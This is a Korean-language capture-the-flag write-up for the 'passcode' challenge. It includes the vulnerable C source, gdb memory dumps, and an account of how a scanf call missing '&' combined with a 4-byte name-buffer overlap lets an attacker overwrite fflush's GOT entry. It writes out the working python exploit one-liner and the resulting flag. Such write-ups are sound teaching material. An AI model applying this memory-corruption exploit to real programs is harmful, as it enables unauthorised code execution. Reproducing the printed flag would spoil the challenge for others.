#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
ssh 접속후 소스코드를 보면 welcome()이랑 login()함수가 있다.
login함수를 보면 passcode1이랑 2를 입력받아서 값이 각각 338150, 13371337이면 플래그를 출력해준다.
근데 잘보면 scanf에서 입력을 받을때 &를 안쓰고 그냥 passcode1에 입력을 받는다.
이러면 passcode1에 값이 들어가는게 아니라 passcode1에 있는 쓰레기 주소에 값이 들어갈것이다.
당연히 실행하면 세그폴트가 뜬다.
passcode@pwnable:~$ ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : a
Welcome a!
enter passcode1 : 338150
Segmentation fault (core dumped)
일단 gdb로 보자.
Breakpoint 2, 0x0804863e in welcome ()
(gdb) x/100wx $ebp-0x70
0xffa8b788: 0x41414141 0x42424242 0x43434343 0x44444444
0xffa8b798: 0x45454545 0xf7618e00 0xf7761d60 0x0000000a
0xffa8b7a8: 0xffa8b7c0 0xf7761000 0xf7618de7 0xf7761000
0xffa8b7b8: 0x00000027 0xf760de0b 0xf7761d60 0x0000000a
0xffa8b7c8: 0x00000027 0xf77741b0 0xf77877eb 0xf75ad700
0xffa8b7d8: 0x00000000 0xf7761d60 0xffa8b818 0xf778e010
welcome에서 입력받을때 버퍼 시작주소
(gdb) x/100wx $ebp-0x10
0xffa8b7e8: 0xf760dcbb 0x9b332500 0xf7761000 0xf7761000
0xffa8b7f8: 0xffa8b818 0x08048684 0x080487f0 0x08048250
login에서 처음 scanf입력받을때 passcode1의 주소
아마 저 0xf760dcbb라는 주소에 우리가 입력한 값이 써질 것이다.
(gdb) x/100wx $ebp-0x70
0xffa8b788: 0x41414141 0x42424242 0x43434343 0x44444444
0xffa8b798: 0xf75f00db 0x00000000 0xf7761000 0xf7761000
0xffa8b7a8: 0xffa8b7f8 0xf75f76a6 0xf7761d60 0x08048770
0xffa8b7b8: 0xffa8b7d4 0xf760de0b 0xf7761d60 0x0000000a
0xffa8b7c8: 0xf75f7685 0x08048577 0x08048783 0xf760dcbb
0xffa8b7d8: 0x00000000 0xf7761d60 0xffa8b818 0xf778e010
0xffa8b7e8: 0xf760dcbb 0x9b332500 0xf7761000 0xf7761000
(gdb) p 0xffa8b7e8 - 0xffa8b788
$1 = 96
근데 아까 우리가 입력하는 name버퍼의 시작주소와 passcode1의 주소간의 거리가 96이다.
name은 100바이트입력 받았는데?
그렇다면 4바이트가 오버플로우난다!
name의 마지막 4바이트에 우리가 쓰고싶은 주소를 넣고 login에서 우리가 원하는 값을 입력하면 우리가 원하는 값을 원하는 주소에 쓸수 있다는 것이 된다.
got overwrite를 하면 쉽게 풀 수 있을거같다.
(gdb) p fflush
$2 = {<text variable, no debug info>} 0x8048430 <fflush@plt>
(gdb) x/10i 0x08048430
0x8048430 <fflush@plt>: jmp *0x804a004
0x8048436 <fflush@plt+6>: push $0x8
0x804843b <fflush@plt+11>: jmp 0x8048410
0x8048440 <__stack_chk_fail@plt>: jmp *0x804a008
0x8048446 <__stack_chk_fail@plt+6>: push $0x10
0x804844b <__stack_chk_fail@plt+11>: jmp 0x8048410
0x8048450 <puts@plt>: jmp *0x804a00c
0x8048456 <puts@plt+6>: push $0x18
0x804845b <puts@plt+11>: jmp 0x8048410
0x8048460 <system@plt>: jmp *0x804a010
(gdb) x/10i 0x804a004
0x804a004 <fflush@got.plt>: test %al,%ss:(%eax,%ecx,1)
0x804a008 <__stack_chk_fail@got.plt>: inc %esi
fflush의 got주소를 구했다.
0x080485e3 <+127>: movl $0x80487af,(%esp)
0x080485ea <+134>: call 0x8048460 <system@plt>
fflush의 got를 system을 실행할 주소로 덮어씌우면 flag가 출력될거같다.
passcode@pwnable:~$ (`python -c 'print "A" * 96 + "\x04\xa0\x04\x08"'`;) | ./passcode
Toddler's Secure Login System 1.0 beta.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\udca: command not found
enter you name : Welcome (!
enter passcode1 : enter passcode2 : checking...
Login Failed!
passcode@pwnable:~$ (python -c 'print "A" * 96 + "\x04\xa0\x04\x08"';cat) | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
134514147
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)
passcode@pwnable:~$
"A" * 96개 + fflush got를 넣고
0x080485e3의 10진수인 134514147을 넣으면 flag가 출력된다.
flag = Sorry mom.. I got confused about scanf usage :(